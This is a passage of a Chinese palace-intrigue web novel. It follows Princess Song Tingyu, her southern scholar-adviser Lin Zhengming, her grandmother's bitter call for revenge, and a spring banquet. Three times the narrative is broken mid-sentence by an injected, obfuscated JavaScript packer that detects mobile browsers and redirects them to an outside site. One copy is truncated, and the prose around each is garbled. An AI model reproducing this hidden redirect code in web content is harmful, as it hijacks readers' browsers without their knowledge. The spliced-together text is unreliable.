提起这件事,吴文新也是一脸黯然,摇摇头道:“臣已经向陛下提了几次,但是太师那边对大将军回京一事颇有微词,陛下好像也不是很愿意,就不了了之了。今日早朝,臣又旧事重提,陛下给否了。” 宋庭玉并不意外景元帝会有这样的决定,只是听吴文新这样说起,不免也新生遗憾。二人又谈了些这几日朝堂上的事,宋庭玉见吴文新情绪不好,便没有多说,只让传膳,谁知吴文新像是已经疲倦到了极点,连连推拒,从后门出了府,坐上一辆不起眼的马车,就走了。 宋庭玉站在门边看着马车渐渐离开巷道,忍冬不由道:“每年到了清明前后这几日,先生总是心情不佳,想是因为先夫人的事吧……” 她没有搭话,立在原地若有所思,半晌低声问:“忍冬,你说一个男子,在光明如锦的前程面前,会不会做出一些与过去迥然不同的事情?” 忍冬面露犹豫:“这……奴婢不知,想来也是分人的吧。” “那你说,吴相是个什么样的人呢?” “当然是个好人了!相爷位高权重,却还是对……情深意重,这么多年还是孤零零一个人,真是世间少有的男子呢。” “世间少有吗……”宋庭玉喃喃,吴文新与母亲贞妃有旧交,故而在出宫后一直教她读书,关系非同一般。 忍冬不知道她为何这样问,只是看了看她的脸色,见她并没有受到吴相的影响,依旧是一副不咸不淡的样子,犹豫道:“殿下,您今日得闲,要不要去临水阁看看?” 宋庭玉皱眉:“林徵鸣怎么了?” 忍冬嘀咕:怎么一上来就问他怎么了,怎么不问问陈伯怎么了。 见忍冬的神情并不像是有大事的样子,宋庭玉放下心来。林徵鸣搬进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362241|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来也有三日了,她整日事忙,倒是没来得及看看他。今日正好得空,就去临水阁看看,顺便也提一提编纂诗册的事。 临水阁里,林徵鸣正和陈伯争执不下。 说是“争执”,倒也夸张了,完全是林徵鸣单方面唧唧歪歪挑刺,陈伯一脸无奈地看着他折腾。 “我不太喜欢屋子里的纱,可以换成软烟罗吗?能透光进来。被褥要软一些。” “还有屋子里,我不喜欢黄花梨木的家具,味道不好,我想要崖柏的,薄荷混着松香,还能防虫。” 陈伯麻木地点点头:“好的公子,这就让人都换了,只是更换全套的得等几日,恐怕得委屈公子几天了。” “没事没事,我不着急。我想想啊……能在花园里给我辟一块田吗?我想自己种些药材,如果能有一个药房就更好了。” “可以的,公子,这就让人去办。” “哦,还有……”他脸上露出几分不好意思的神情,指着外面一块地道:“我觉得这处水土丰饶,适合种些娇气些的花,临水而种,得观好颜色、闻好味道,不比种些破竹子强?” 陈伯看着他兴奋的眼神,深吸一口气,无奈道:“这也不是破竹子啊,这是我们殿下特意从南方移植过来的紫竹,金贵着呢。” “什么金贵着呢?” 宋庭玉进来,见林徵鸣鼻尖微微冒汗,陈伯一向波澜不惊的脸竟也有几分疲惫。两人见他进来,纷纷行礼。 “不必。”她笑道:“想种什么花?” 林徵鸣讷讷:“还没想好……我说着玩笑的,殿下不必在意。” 陈伯一脸无语:已经折腾三天了,这也叫说着玩? 宋庭玉饶有兴致:“不就是几棵竹子,你既然住在这里了,你就是这里的主人,想种什么和他们说。陈伯,给花房的说一声,让他们将林公子想要的花快快移来。” 陈伯:您之前把这些紫竹移过来的时候可不是这么说的。 林徵鸣眼睛一亮:“谢殿下。” 她摇摇头,有要求是好事,总不像前几日那副惶惑无措的样子了。 她环顾四周,他对日常用物的细节要求都如此多,想必其他的也有自己偏好之物吧,于是问道:“我听着你要了不少日常起居之物,文房四宝呢?可有特殊要求?爱读什么书?藏书楼里的书可还齐全?” 林徵鸣笑容一滞:“呃……陈伯准备得已经很全了,藏书楼里的书都很好,多谢殿下。” 陈伯一哂,没拆穿他:整日顾着折腾自己的金窝呢,哪顾得上去藏书阁?殿下这是从哪找来这么一个养尊处优的读书人? 宋庭玉不知陈伯心中所想,淡淡一笑:“那就好,有什么用惯了的东西就和陈伯说。另外,我已经打好招呼,明日你就可以去文渊阁了。” 林徵鸣一愣,没反应过来:什么文渊阁? 宋庭玉见他表情空白,微微皱眉:“文渊阁编纂诗册,你不会忘了吧?” “没有没有,哪儿能忘呢,殿下放心,我明日便着手编纂。” 宋庭玉点点头:“嗯,此事事关重大,时间也紧,你可要好好用心,办成了本宫必有重赏。” 啊?您上次没说事关重大啊?不是给我找个事儿做,找个事儿做的意思,难道不是缓做、慢做、可不做吗?怎么还催上了…… 他心里嘀咕,面上却不敢表现出来。 宋庭玉倒是没说什么,只是觉得林徵鸣似乎哪里不对,和第一次见面时仿佛判若两人。 也许是找到了安居落脚的地方,心情放松,露出本性了吧。这样也好。 她琢磨着,若有所思地离开。 身后,林徵鸣鹤陈伯对视一眼,陈伯嘿嘿一笑,脸上露出几分看好戏的神情。 看什么看,不过区区诗册,我一个夺了魁首的南梁人,不会写难道还不会看吗。 宋庭玉进了书房,想起林徵鸣咋咋呼呼、指手画脚的样子,莫名好笑,连陈伯这样一向严肃刻板之人,都被他弄得无奈,可见此人磨人功夫不一般。 她意识到自己今日笑得有些多了,定了定神,刚看进去几行字,忍冬就脚步匆匆地进来:“殿下,不好了,老夫人病倒了。” 9. 安慰 敬慈夫人这些年本就身子不大好,再加上之前因为婚事,与宋庭玉闹得不愉快,更是气闷郁结。 其实说到底,敬慈夫人只是不满宋庭玉渐渐长大,成长为一个不受她控制、让她看不透的人。 有时候她看着宋庭玉,她身上那种不属于她母亲的、冷厉又满腹算计的样子,像极了如今坐在皇位上的那个人,让她惊慌恐惧,可她又不得不承认宋庭玉为自己选的路是对的,唯有如此,她才能查清宁思沅死亡的真相。 她不得不心灰意冷地承认,自己老了。这个认知让她心意难平,加上快到清明,她更是心情沉重,夜里受了点风寒,便病倒了。 宋庭玉进来时,敬慈夫人刚刚用过药,歪在榻上闭目养神。 她卸了钗环,头上戴着一个寸宽的抹额,拢不住的白发从她耳边垂落,兀自按着额头,脸色有些微微苍白。 宋庭玉一时心酸,上前几步,轻轻坐在榻边,牵起敬慈夫人的手握在掌心里,另一只手搭在上面捂着,轻声道:“外祖母。” 敬慈夫人睁开眼睛,脸上是掩不住的疲倦:“玉儿来了。” “您可好些了?怎么会着了风寒?可是底下人伺候不周到?” 敬慈夫人摇摇头,撑着身子要坐起来,宋庭玉连忙起身将一个软枕放在她腰后,扶着她靠在上面。 敬慈夫人叹了口气:“不干他们的事,他们都伺候得都很上心,只是前些日子夜里睡不安稳,起来坐了坐,没成想吹了风。唉,如今我年纪大了,没想到只是吹吹风,便受不了了。” 宋庭玉心里一酸。 敬慈夫人年轻时也是打马上阵、快刀杀敌的豪杰人物,也曾驭马驰骋、快意恩仇,也曾琴瑟和鸣、儿女绕膝,只是谁承想接连丧夫丧女,骨肉分离,晚景凄凉。 她看着她干燥的嘴唇,转身倒水,借着这功夫咽下了喉咙里的酸楚,清了清嗓子,柔声劝慰: “天气还没热起来,外祖母也要顾惜自身,孙女还要依靠外祖母呢。” 敬慈夫人借着她的手喝了几口水,淡淡摇摇头,轻轻拍了拍她的手: “你已经长大了,主意正、谋算全,哪里还需要外祖母。只是玉儿,你不一定不要忘记你是宁家人,外祖母要依靠你,整个宁家也要靠你。” 宋庭玉点点头,替敬慈夫人掖了掖被角,拉着她的手,将自己手心的温度传递给她,也像是在传递一种力量,一种信心,就像她十几年来无数次许诺过的那样:“外祖母放心,孙女一刻不忘。” 听到自己想听的话,敬慈夫人终于点了点头,放下心来。又问道: “你舅舅回京的事怎么样了?眼见着要入夏,你舅舅此时回来,山高路远,怕要遭罪,但一入京就能赶上入秋,这也很好,王都的秋天就不那么闷热了,还能在家里过个年,我们一家人已经有多年没能在一起过年了。” 敬慈夫人拍着宋庭玉的手,拉拉杂杂说了许多,脸上俱是对许久未见的小儿子的期盼。宋庭玉只觉一阵酸涩涌上心头,让她不敢再去看外祖母的表情。 十七年间,这个孤身一人的女人替她早逝的女儿抚养女儿,为她寻找名师、教导文采武功;又与自己的儿子、儿媳分隔数千里,见面的次数屈指可数,好不容易盼来一次的机会,也被人这样无情地掐灭。宋庭玉此刻无比痛恨那个男人,那个坐在高位践踏着他们一家人痛苦的那个男人。 她深深吸了一口气,握紧外祖母的手,脸上挤出一个笑,柔声道: “待外祖母身子好了,我陪着外祖母去惠宁寺小住几日,王都的夏天暑热难耐,山上清凉舒爽,待到过了秋我们再回来,回来孙女陪您过年。” 敬慈夫人感觉到了什么,脸上的笑意渐渐消失了,她抓紧宋庭玉的手,急声问: “你舅舅回不来,是不是?皇帝不让他回来,是不是?” 她的情绪有些失控,紧紧抓着宋庭玉的那只手不自觉用力,仿佛病中所有的力量都集中在了这一刻,集中在了这一只手上,指甲狠狠嵌进宋庭玉的手背上。 就是在这一刻,宋庭玉才真正感觉到,她的外祖母曾经是同太祖戎马打天下的女将军。 她像是没有感觉到似的,任凭敬慈夫人抓着她的手,她轻轻抚着敬慈夫人的背,轻声道: “舅舅是掌管我朝西北兵马的威远大将军,无诏不得回京,就算是进京述职也多有不便,况且这几年被北边的西夜人虎视眈眈,舅舅恐怕也并不得闲。我已本备下了诸多礼物,还有信,到时派人一同送去西北。外祖母想想可还有什么想要叮嘱舅舅的,一同送去也好。” 敬慈夫人忍了几忍,终是没有忍住眼中的泪水,闭目隐忍: “我宁家为元夏皇室做了多少,你外祖父当年同太祖征战天下,多少次出生入死,多少次救了太祖的命,却也不明不白死在沙场,落得个鸟尽弓藏、兔死狗烹的下场。你娘当年被强征入宫,郁郁几年,最后死得不明不白。你舅舅虽有一个威远将军的名号,可十几年来骨肉分离,为皇帝戍守边关还要遭受多少猜疑,你叫我,你叫我如何不恨!” 宋庭玉抱着敬慈夫人的背轻轻拍着,任由她在自己怀中发泄着一腔委屈。 她目光悠远地望着床边的一张矮榻,上面放着一个小巧玲珑的玉风铃,那是敬慈夫人还年轻时,一家人在一个端午的夜晚,一起坐在院子里做的。 那时候外祖母还不是敬慈夫人,外祖父也不是兵马大元帅,母亲还是个牙牙学语的孩童,舅舅还是个抱在襁褓中的婴孩。那日的夜空特别晴朗,天上有许多星星,月牙弯弯的,像她儿女脸上的笑。 这段故事宋庭玉从小到大已经听了太多太多遍,现在她只要一看到这个风铃,就会想起这个故事,想起外祖母讲述它时的神情,想起那个已经在记忆中慢慢模糊的母亲,想起也许在她生命中的最初两年,端午节还是一个温馨的、美好的节日,而不是和一个老人一遍遍反刍痛苦的家庭禁忌。 宋庭玉深深吸了一口气,拍着敬慈夫人的背小声道:“外祖母,您还有我。” 她不知道自己想说的究竟是“外祖母,你还有我”还是“外祖母,我也需要你。” 敬慈夫人缓了缓,抬起头,紧紧抓住宋庭玉的衣领,一双通红的眼睛死死盯着她,狠声道: “玉儿,你要记得,你一定要记得这些,为你的外祖父报仇,为你的母亲报仇,你要记得宁家人这些年过的是什么日子,你要为宁家报仇!” “我会的,外祖母。” 宋庭玉点点头,敬慈夫人的眼泪仿佛一个巨大的漩涡,将她的所有情绪都吸收了进去,很奇怪地,在此时此刻,感受着敬慈夫人紧紧抓着自己衣领的冰凉的手指,她的心绪格外平静。 又过了几个时辰,宋庭玉才从屋子里走出来,宋庭玉服侍敬慈夫人用了些粥,又用了汤药,期间得到了宋庭玉再三保证定不忘宁家之仇,敬慈夫人这才安稳睡下。 宋庭玉让侍女看顾好,有什么事情要第一时间禀报公主府,这才带着忍冬离开。 一天下来,宋庭玉水米未进,此时又已近午夜。这些天连日的劳心费神让她疲惫,此时台布上了马车,突然感到一阵头晕目眩,脚下一软,摔在了车辕边。 忍冬一惊,急忙上前,正欲扶她,却见宋庭玉已经自己扶着车把手站了起来,她揉揉自己的膝盖,有些疼,但并不重。她推开了忍冬,自己上了马车。 “邦!” 不远处的街上响起更夫敲锣的声音,宋庭玉想,已经过了午夜,又是新的一天了。 她挑起车帘,仰头望着天空,可是今日的夜晚并不晴朗,天幕中既没有星星,也没有弯弯的像小孩儿笑眼的明月。 新的一天,似乎与昨日,与过去十几年每一个日日夜夜,都没什么不同。 她意兴阑珊,放下了车帘。 回到府中已经丑时,她挥了挥手,连话都懒得说一句,径自关上了房门。 忍冬担忧不已,但也不知从何劝起。 宋庭玉简单简单洗漱一番,倒在榻上,脑海中一一遍遍浮现出敬慈夫人的话,像掉入一处藤蔓丛生的山谷,那些愁闷、压抑的情绪化身一根根虬结多刺的树藤,紧紧缠绕在她身上、脖子上,勒得她几乎窒息。她努力挣扎,可是那些藤蔓却越缠越紧,渐渐的,连一点空隙都不给她留。 她几乎要死在这紧紧缠绕的藤蔓里。 猛地一惊,她睁开眼睛,胸口仿佛存留着无法呼吸的感觉,她伸手摸了摸自己的脖子,空的,才松了一口气,对梦里那缠绕紧锁的触感心有余悸。 她望向窗外,天还没亮,更漏显示此刻不过刚过卯时。 做了个噩梦,睡意全无,干脆起身出门。 推开房门,空气中弥漫着淡淡的雾气,湿意裹在胳膊和裸露的脖颈处,有些冷,但她懒得进去披衣,径自往院子里走。 公主府值夜的看守尽职尽责,见远处晃晃悠悠过来一个人影,悚然一惊,握紧了手里的长枪,蓄势待发。 待人走近了,才发现是殿下,瞪大了眼睛,枪都忘了收起来,愣愣目送着她经过。 宋庭玉想着心事,走了一会儿,惊觉公主府大得可怕,也安静得可怕。不是因为真正值夜晚,而是因为那无处不在的、日日滋生蔓延的藤蔓,压抑的、苦痛的、令人喘不过气的。她一直以为离开外祖母,这密不透风的藤蔓会少一些,只是没想到,时隔经年,自己也早已成为那藤蔓的一部分,甚至失去,成为藤蔓的养料,一刻不停地吞噬自己却,也吞噬了身边的人。 她打了个寒颤,觉得毛骨悚然。 不知不觉,她已经走到了公主府的后院,不远处的一处庭院,正亮着暖黄的微光。 脚步一顿,那无处不在的滞闷似乎放松了一些。 她转了方向,走向唯一亮灯那处温暖。 是临风阁。 院门没关,她放轻了步子走进去。话放到额下人手脚麻利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“药材岂能随便吃?万一药性相克,岂不是害了自己。你若感兴趣,本宫可以请通晓医理的郎中来府里,你可以从头学一学。” 林徵鸣也不多解释,只是问:“殿下,你对底下人都这么有求必应吗?” 宋庭玉皱了皱眉:“这是什么话?你是本宫的幕僚,本宫自然希望你懂得多、会得多,日后也好为本宫出力。怎么,当日你自己说的话,已经忘了不成?” “那倒没有。”他低垂着头,不知在想什么,只是周身的气温突然降了几度。 宋庭玉没察觉到,径自喝着碗里的粥,不知不觉见了底,还有些意犹未尽。 只是到底是从小受到严苛皇室教育长大的公主,深谙万事过犹不及的道理,她放下碗,准备起身:“时候不早了,本宫不多留了,感谢你的粥。” 林徵鸣在她身边席地而坐,自己抱着一个小碗,低头喝粥,怎么看都没有了方才那股子高兴劲儿。见她起身要走,也顾不得闹别扭了,跟着站起来: “殿下等等!” 说着,自己快步跑进了屋子里。 宋庭玉疑惑看他,不一会儿,他就拿了一个盒子出来,带着几分怕被人拒绝的不好意思,低声道: “这是府里姑姑帮忙做的香囊,里面是我自己配的几副药材,上次见殿下就觉殿下忧思过度、郁结于心,如今又见殿下睡不着觉,所以我就自作主张做了这个,殿下试试吧。” 宋庭玉微微皱眉,打开盒子,里面的香囊绣工精致,是她一贯喜欢的花色,散发出淡淡的药香。只是她没有佩戴香囊的习惯,但……她看着林徵鸣忐忑的表情,从盒子里拿出来,对着月光看了看,微笑颔首:“多谢。” 林徵鸣明显舒了一口气,脸上又挂上那副惯常的笑容:“殿下不嫌弃就好。” 宋庭玉看他的心情起起伏伏的,难得有了几分关心的心思:他背井离乡,如今又远离朋友,不得不寄人篱下,心里总归是不适应的。不然也不会大半夜睡不着,出来给自己找事情做。 只是,公主府毕竟不是谁都能进的菜市场,接纳他一个南梁人已经是出格之事,断断没有不清不楚再招一个的道理。 她柔声道:“你也不必日日拘在府里,平日也可出去走走,文渊阁有不少和你一样的读书人,与他们交游往来,聊可排忧解闷。” 林徵鸣喝粥的动作一顿。 宋庭玉奇怪:“怎么了?” 他蓦然一惊,脸上的神情很尴尬,仿佛连手里的粥都不香了。 “我好像忘了一件事。” “什么事?严重吗?” 他放下碗,闭了闭眼睛,滞涩道:“倒也不是很严重……”他抬眼看向宋庭玉: “我好像,把秦问竹给忘了。” 10. 春花宴 秦问竹当然不会傻到一直等在酒楼里。第一日,林徵鸣没有出现,第二日、第三日……他耐心耗尽,本就对林徵鸣不满的心恼怒到了极点: 好哇,你抱上了元夏皇室的大腿,竟敢将本公子不放在眼里了!他恨恨地想:殿下本就对林徵鸣心怀不满,如今自己回去添油加醋告一通状,任他老师也难保他! 呸! 他一摸口袋,发现林徵鸣给的银子已经挥霍一空,又羞又气,他在南梁何时受过这种委屈!自然是将这笔账记载了林徵鸣头上: 他有本事一辈子躲在元夏不回去,日后若回到南梁,定有他的好果子吃! 他咬咬牙,将殿下钦赐的无事玉牌当了,又给酒楼老板留了口信,扬长而去。 忘记秦问竹这件事确实不是林徵鸣故意的,他这几日在公主府过得乐不思蜀,满心都是装点自己的临风小院,甚至觉得自己天生就该住在公主府,哪里还记得秦问竹这个不讨喜的南梁人?待他不紧不慢地到酒楼找他的时候,秦问竹的马车已经出了王都,在南下的官道上飞驰。 他长叹一口气。 酒楼掌柜摆摆手,也是一脸无奈,笑道: “那位小公子脾气大得很,我劝他再等一等,您在公主府当差,贵人事忙,轻易走不开,可他还是执意要一个人走,我们实在是拉不住。” 自从做了公主府的幕僚,林徵鸣十分明显地感受到了别人对他的不同:从前是好奇中带着不易察觉的鄙夷,如今不管内心怎么想,面子上都是一派和气,生怕哪里得罪了他。 他切身体会到了宋庭玉说的“日后你就是本宫的人”,假装清清嗓子,咳了几声,心下暗喜,但面上依旧温和有礼。 笑话,越是殿下的人,越要在意自己的举止,以后也是有身份的人了。 “他可留下了什么话?” 掌柜笑眯眯道:“留了留了,小公子说,让您把他的无事玉牌赎回来,日后他还要戴的。” “无事玉牌吗……” 林徵鸣心下嗤笑:连他主子所赐的特制之物都拿去当了,可见已经穷途末路。 他思索片刻,突然有了主意。 回过神,彬彬有礼道了谢,留下一个订菜的单子,让人送去公主府。 掌柜笑得见牙不见眼,连连称一定包贵人满意,摇头晃脑进了后厨。 他出了酒楼,望着人来人往的街道,认命地想秦问竹回去一定会拼命编排他,日后若回了南梁,恐怕有穿不完的小鞋。 南梁大皇子对他一向不满,让他处处受掣肘,其实他根本没必要对自己有那么大的敌意嘛……他一个普通读书人,拿什么和皇子比。 可大皇子对他的不满却日渐叠加,他处处避其锋芒,却不料还是引火烧身,让大皇子对他动了杀心,为避风头,他故意宜寻找《神兵》为饵,得到一个光明正大离开南梁的机会,没想到对方竟不放心,派了秦问竹来监视不说,还派了玄林卫…… 想起那个被公主救了的女孩儿杨珠儿,他眼神一暗,公主殿下一片慈悲心肠,竟被他们如此利用,实在是该死。 既然是自己带来的麻烦,那就让他亲自为殿下解决了吧。 至于南梁大皇子,天高路远,他能耐他何? 四月初的王都,惠风和畅,春花竞相开放,其中以皇家园林畅和园的桃花最是佳景,浓艳如云,粉霞翳翳。 四月初三,宫中传出消息:昭平公主要在畅和园举办春花宴,邀请王都的青年才俊、大家闺秀参加,踏春赏景,酬和诗文,据说还特意邀请了颖贵妃坐镇。 消息一出,如同沸水进了油锅,引起一片哗然。 要问为什么?那值得人津津乐道的地方就太多了。 一来,这位前十几年寂寂无闻的昭平公主,这段时间可是王都炙手可热的话题,先是当街鞭打驸马,不但未被斥责,反而得了封号、享了食邑,就连这皇家园林畅和园,也被陛下大手一挥赏赐给了她,这哪里是不受宠,这简直是荣宠过头。而这位公主行事果然不同凡响,又将一个南梁人召入府中做幕僚,引起议论纷纷。 二来,这春花宴,说白了就是诗文大会,在如今的王都并不罕见,只是以往参加的都是各家适龄的贵族子弟,哪里有让女子参加的?虽说元夏不像南梁一般讲究男女大防,世家女子入国子监读书的不在少数,可毕竟是闺阁女儿,哪有如男子一般抛头露面、成天与外人诗文酬和的? “她以为谁都同她一样不守规矩呢!” 消息一出,不少世家都这样想,坚决不肯让自家的女儿参加什么春花宴。 可颖贵妃也来了,那事情就大有不同了! 如今陛下后宫主位空置,颖贵妃位份最高,又极得圣宠,若是谁家的女儿能得颖贵妃青眼,被夸赞几句,以后哪里还愁找不到好人家! 于是,原本信誓旦旦的世家纷纷松了口,让自家夫人带着儿女齐齐赴宴,一时之间,热闹非凡。 “殿下如今身份不同,况且今时不同往日,今日定要一鸣惊人才是。” 忍冬今日休沐,宋庭玉身边的侍女换成了菘蓝,她是伺候过贞妃的宫女,后来又帮着奶娘带小公主,比宋庭玉大了不少,说话时不自觉带了几分大姐姐的语气。将手中的木梳放下,替宋庭玉正了正刚刚梳好的发髻。 “本宫不求什么一鸣惊人,但愿别出什么岔子才好。颖贵妃的帖子可送到了?” “殿下放心吧,贵妃娘娘答应了,今日一定来呢。” 畅和园在距离皇宫二十里外的山中,自太祖时期,这处距离皇城不算远的园林就是皇家宴饮最爱去的地方。院子占地极广,除了供贵人们宴饮、游玩、赏景、小憩的地方外,外围还有一大片肥沃的田地,山上是一望无际的果林,每年收成就抵得上京城望族一年的收成,故而景元帝将此处的院子连带赋税收成一并给了宋庭玉,实在是一件令人眼红的事。 畅和园里有一汪天然湖水,湖面开阔,分隔了两方地界:左边长亭回廊,桃花浓艳,莺歌燕啼;右边假山树木,流觞曲水自成野趣。考虑到今日来的还有各家的未婚儿女,宋庭玉细心地作了区分。少爷小姐们隔着宽阔的湖水,各玩各的,既全了礼数,大家又都能自在。 官家少爷小姐,三五成群,五陵年少,美酒十千,笑语盈盈,连春燕都比不上的活泼轻快。 “文英,你不是说今日不来了?” 沈青禾探头,问身边脸色不太好看的荣安。 荣安点点头,并不想说话。 那日她将枕楼外的事告诉姑母,也存了几分让姑母敲打敲打家里人,让他们别再如此纵容哥哥。可是姑母也是一脸无可奈何,说她毕竟是曹家已经出嫁的女儿,有心要管,也心有余力不足,只让她好好保重自身,日后姑母会为她出面,找个好人家。 好人家,哪里有什么好人家呢!荣安失望地想。 曹家并不是根基深厚的高门贵族,只是运气好出了一位选入宫里的女儿,也是历经十几年才得封贵妃。荣安父亲没有实职,兄长曹文益是名扬王都的不靠谱,正经人家看重门风,嘴上不说,心里可是瞧不起,自己被兄长所累,哪里能找到什么好人家。 她想着自己无望的未来,心情郁结。 宋庭玉出门早,虽说园子里已经安排了人去,但她还是不放心,好在手底下的人都得力,看上去一派井井有条。路上马车众多,她到底耽搁了些,车子到畅和园时,已经能隐隐约约听见园子里传来乐声。路上一直有一辆马车同行,到了畅和园门口,马车上下来一个年龄相仿的少女,一身素色青衣,鬓边簪着一朵栀子花,清丽动人,就是有些素净了。 宋庭玉不知道她是谁,见对方行礼,只是点点头当做招呼,没有看见少女看着她的背影,露出欲言又止的神情。 她深居简出多年,与各家的夫人、小辈都不太熟,众人不清楚这位突然颇得圣眷的公主是个什么脾性,只是想起她当街挥鞭的英武事迹,到底心有戚戚,不敢太放肆。齐齐见了礼,宋庭玉就让他们四下游乐去了,身边只有几个皇室的夫人陪她不尴不尬地坐着,直到颖贵妃进来,气氛才一松。 “本宫来晚了,各位久等啊。” 颖贵妃不愧是能在后宫这么多年盛宠不衰的女人,一身淡雅的宫装超凡脱俗,头上珠钗随着莲步轻移微微晃动,是个讨巧的金蝶,正好合了今日的“春花”一词。娉婷而至,既不显得过分夺目,令主人家不快,又端庄大气,有着宫妃的矜持。 在成的官夫人见了,纷纷起身行礼。颖贵妃显然是跟她们相熟的,面带笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362243|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容道: “各位夫人不必多礼,今日是咱们昭平公主相邀赏花,本宫就是来跟着她们年轻女子凑凑热闹,还真别说,到了这园子里,莺歌燕舞的,仿佛自己也年轻了几分呢。” 几家夫人掩面而笑,靖国公夫人道:“娘娘依旧风采照人,不减当年,哪像臣妇们,已然垂垂老矣。” 宋庭玉起身迎了迎,与颖贵妃相互见了礼,颖贵妃笑得很客气:“殿下。” 她点点头,两人俱在主位坐下,招呼菘蓝看茶。 “这么多年不曾出宫了,这园子里的风光还是和当年一样美,多谢殿下相邀。 宋庭玉摇了摇头:“娘娘客气了,是本宫要感谢娘娘能拨冗前来,本宫久不在宫里生活,与各家夫人们不相熟悉,若没有娘娘,还不知要怎么办才好呢。” 颖贵妃是个极其伶俐的人,闻弦歌而知雅意,凑近了低声给她介绍起来。 沈青禾目不转睛地盯着上首的宋庭玉看,被荣安提醒才回过神,感叹道:“这位殿下打扮得好生英气啊,都没有什么多余的首饰,不像我们,每次出门头上挂一堆,简直重死了。” 她身边一个姑娘点点头:“可能是殿下不靠首饰也好看吧,这都是天生的啊。” 同颖贵妃寒暄了几句,宋庭玉转头,见门口碰见的那个素衣女子走了进来。 荣安几步迎上去,拉着人家的手,一起同贵妃和她见礼。宋庭玉点了点头,并不多言,那女子偷偷看了她一眼,就跟着荣安坐去了一边。 颖贵妃见她好奇,笑道:“那是镇国公家的小女儿,李幼宜,她兄长是金吾卫大将军。” 哦,李多宜的妹妹,宋庭玉以前只听李多宜提起家里有个妹妹,这倒是第一次见。 颖贵妃不太喜欢李幼宜,总觉得气场不合,可是自家侄女儿与她倒是要好,忍不住多说了几句:“镇国公家这个女儿是姨娘所出,幼师没了亲生母亲,性子有些古怪。镇国公夫人是京中有名的和善人,膝下又只有一个儿子,对她是顶顶得好,吃穿用度同别人家嫡出小姐一样,还送她念了族学。只是这位幼宜姑娘实在冷淡了些,出门在外仿佛不知道给嫡母面子,每每一副素净打扮,总让人疑心是镇国公夫人苛待了她。王都夫人们都说这小姑娘心思深沉。” 宋庭玉淡淡一笑:“眼见的都不一定是真的,更何况是自己没见过的事。李小姐次次这样打扮,也不见镇国公夫人多说什么,本宫听说,镇国公夫人每每提起这个庶女,非但没有微词,反而赞赏有加。李小姐虽衣衫素净,却都是顶顶上好的料子,可见不是她故意不给嫡母台阶下,而是真的性子如此,镇国公夫人亦能理解她,无论他人如何非议,也不愿委屈勉强了她。可见这对母女并非他们说的那样。” 颖贵妃倒是没想到她会这样想,暗自点了点头,颇为赞同道:“殿下说的极是,我与镇国公夫人虽见面不多,可也看得出她是个和善人,可见人人说的不一定是对的。”她不动声色地看了宋庭玉一眼,心道:就像这位公主,虽然京城流言四起,但观宋庭玉的言辞气度便知,她一定不像是外界说的那样。她放下茶水,兴致勃勃地介绍起来:“荣安旁边那位是工部沈郎中家的女儿沈青禾,她与荣安同岁,她们三个是手帕交,经常凑在一起玩,怪有意思的。” 宋庭玉没有手帕交,体会不到“有意思”在哪里,更何况荣安她们比她小了几岁,宋庭玉看她们就是小妹妹,淡淡一观而已,并无深交的兴趣。 颖贵妃看着她们几个凑在一起叽叽喳喳的样子,眼里却流露出几分羡慕:“想当初,本宫刚进宫时,也也如她们这般年纪,那时候本宫常常怯生生的,就怕自己做错了事,还是贞妃娘娘……”她猛然想起什么,突兀地截断话头,掩着唇看了宋庭玉一眼。 宋庭玉却没事人似的,知道她的未竟之言,笑着接话:“母亲为人是很温柔和善的。” 颖贵妃笑得有些不自然,点了点头,暗恨自己失言。 宋庭玉本想说,其实没关系的,母亲对于她而言并不是不可以提起的伤疤,这样美好的春日也总是容易让人忆起故人的。只是话未出口,就有侍女匆匆而来,在菘蓝耳边低声耳语几句。菘蓝不动声色地皱了皱眉,自己凑到宋庭玉耳边道: “殿下,林先生和人打起来了。” 11. 出气 颖贵妃不知道发生了什么,只看到宋庭玉的周身气场蓦然一沉,只是转瞬之间又仿佛什么事都没发生过似的,挥挥手让身边的侍女退下,起身微微笑道:“庄子里有些事,暂且失陪。” 几位夫人皆称是,心里松了一口气的同时,暗叹昭平公主对她们虽不亲近,但礼数俱全,颇感宽心。可见人总是这样,对于自己心理预期低的人,反而格外宽容些。 宋庭玉脚步匆匆地往山上走,越走眉头皱得越紧:“到底怎么回事?他不是没有过来吗?” 林徵鸣一开始是不打算到畅和园去的,他这几日忙着往文渊阁跑,就是为了收集后妃的诗册,不仅一一摘录,还要有所评校,挑灯夜读,比自己读书时还要勤勉,秦问竹若是看见一定会感叹几句昭平公主简直比他先生还会教育人。 忙得头晕眼花之际,陈伯进了书房,一脸愁容地告诉他殿下一向睡得不好,太医开了安神的药,殿下本就不喜喝药汤子,断断续续拖了许久不见好,今日忍冬姑娘休沐,殿下索性连药都不带就走了。 陈伯一向乐呵呵的脸此事皱得像个苦瓜,宋庭玉虽待下人宽和,可周身总有一股不容人辩驳的凌厉气势,他怕说多了殿下烦,一向是不太敢劝的。 